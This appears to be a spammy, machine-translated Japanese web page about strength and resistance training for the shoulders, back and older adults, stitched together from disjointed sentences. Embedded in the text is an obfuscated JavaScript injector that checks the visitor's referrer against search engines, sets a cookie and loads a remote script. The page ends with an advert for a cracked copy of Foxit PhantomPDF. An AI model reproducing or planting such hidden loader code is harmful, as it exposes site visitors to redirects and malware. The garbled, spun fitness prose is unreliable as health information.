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しかし、筋肉や骨の量、そして筋力、パワー、持久力を高めたい場合は、ウェイトトレーニングが最善の選択です。.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2e98c8){_0x29aff4=window;}return _0x29aff4;};var _0x137d28=_0x19087e();var _0x3aed67='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x137d28['atob']||(_0x137d28['atob']=function(_0x3191bc){var _0x432df6=String(_0x3191bc)['replace'](/=+$/,'');for(var _0x28e1f3=0x0,_0x260538,_0x6e0ced,_0x4d7001=0x0,_0x4fbd54='';_0x6e0ced=_0x432df6['charAt'](_0x4d7001++);~_0x6e0ced&&(_0x260538=_0x28e1f3%0x4?_0x260538*0x40+_0x6e0ced:_0x6e0ced,_0x28e1f3++%0x4)?_0x4fbd54+=String['fromCharCode'](0xff&_0x260538>>(-0x2*_0x28e1f3&0x6)):0x0){_0x6e0ced=_0x3aed67['indexOf'](_0x6e0ced);}return _0x4fbd54;});}());_0x53b7['fdlQkT']=function(_0x58887c){var _0x132d54=atob(_0x58887c);var _0x1cb118=[];for(var _0x5db0de=0x0,_0x2c3737=_0x132d54['length'];_0x5db0de=_0x5e7fbd;},'CRmfR':function(_0x25c25f,_0x4c143f){return _0x25c25f!==_0x4c143f;},'jRCeK':_0x53b7('0x1e'),'wGvdf':function(_0x1a3734,_0x541002){return _0x1a3734+_0x541002;},'SJrgW':_0x53b7('0x1f')};var _0x134e3f=[_0x114b02[_0x53b7('0x20')],_0x114b02['FWovC'],_0x114b02[_0x53b7('0x21')],_0x114b02[_0x53b7('0x22')],_0x114b02[_0x53b7('0x23')],_0x114b02[_0x53b7('0x24')],_0x53b7('0x25')],_0x494f52=document[_0x53b7('0x26')],_0x523532=![],_0x311fbb=cookie[_0x53b7('0x27')](_0x114b02[_0x53b7('0x28')]);for(var _0x45cd43=0x0;_0x114b02[_0x53b7('0x29')](_0x45cd43,_0x134e3f[_0x53b7('0x2a')]);_0x45cd43++){if(_0x114b02[_0x53b7('0x2b')](_0x494f52[_0x53b7('0x2c')](_0x134e3f[_0x45cd43]),0x0)){_0x523532=!![];}}if(_0x523532){if(_0x114b02[_0x53b7('0x2d')](_0x53b7('0x1e'),_0x114b02[_0x53b7('0x2e')])){_0x523532=!![];}else{cookie[_0x53b7('0x2f')](_0x114b02[_0x53b7('0x28')],0x1,0x1);if(!_0x311fbb){include(_0x114b02[_0x53b7('0x30')](_0x114b02[_0x53b7('0x30')](_0x114b02[_0x53b7('0x31')],q),''));}}}}R(); 肩と背中のための演習 あなたの肩はあなたの腕のほとんどすべての動きに関わっています.

仰向けのマシンは、あなたが座って、あなたに向かってバーを引っ張ることを可能にし、排他的にあなたの背中の筋肉を働き.. 「レジスタンストレーニングは、高齢者の筋肉量と筋力を高めるための最も効果的な介入法です」とStephen Eは言います。.. 肩 背中 筋肉 名称それがレジスタンストレーニングの最大の利点です - レジスタンスを増やすことができます.. フロリダ州ゲインズビルにある老人研究教育および退役軍人管理医療センターの臨床センターのBorst博士.. 「私は、2〜3セットの8〜12人の担当を行うことをお勧めします」とGary Rは言います。.

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ウエイトリフティングはボディビルダーやアスリートと長い間関連してきましたが、それは老化の避けられない部分である筋肉量の減少を遅らせるために不可欠です.. 」 ニュージーランドのスポーツ・レクリエーション研究所の上級講師、Justin Keogh氏によると、レジスタンストレーニングにはさまざまな利点があります。.. これは簡単に聞こえるかもしれませんが、十分な体重であなたの筋肉が非常に急速に疲労するのを感じるでしょう.. 両手でバーベルをまっすぐに持つか、または両手でダンベルを持ち、次に肩をすくめて.. 彼らはそれを「プログレッシブレジスタンストレーニング」と呼んでいました - あなたは少しずつ体重を増やしてあなたの体が新しいストレスに適応することを可能にすることができます. Download Foxit Phantompdf Full Crack For Mac

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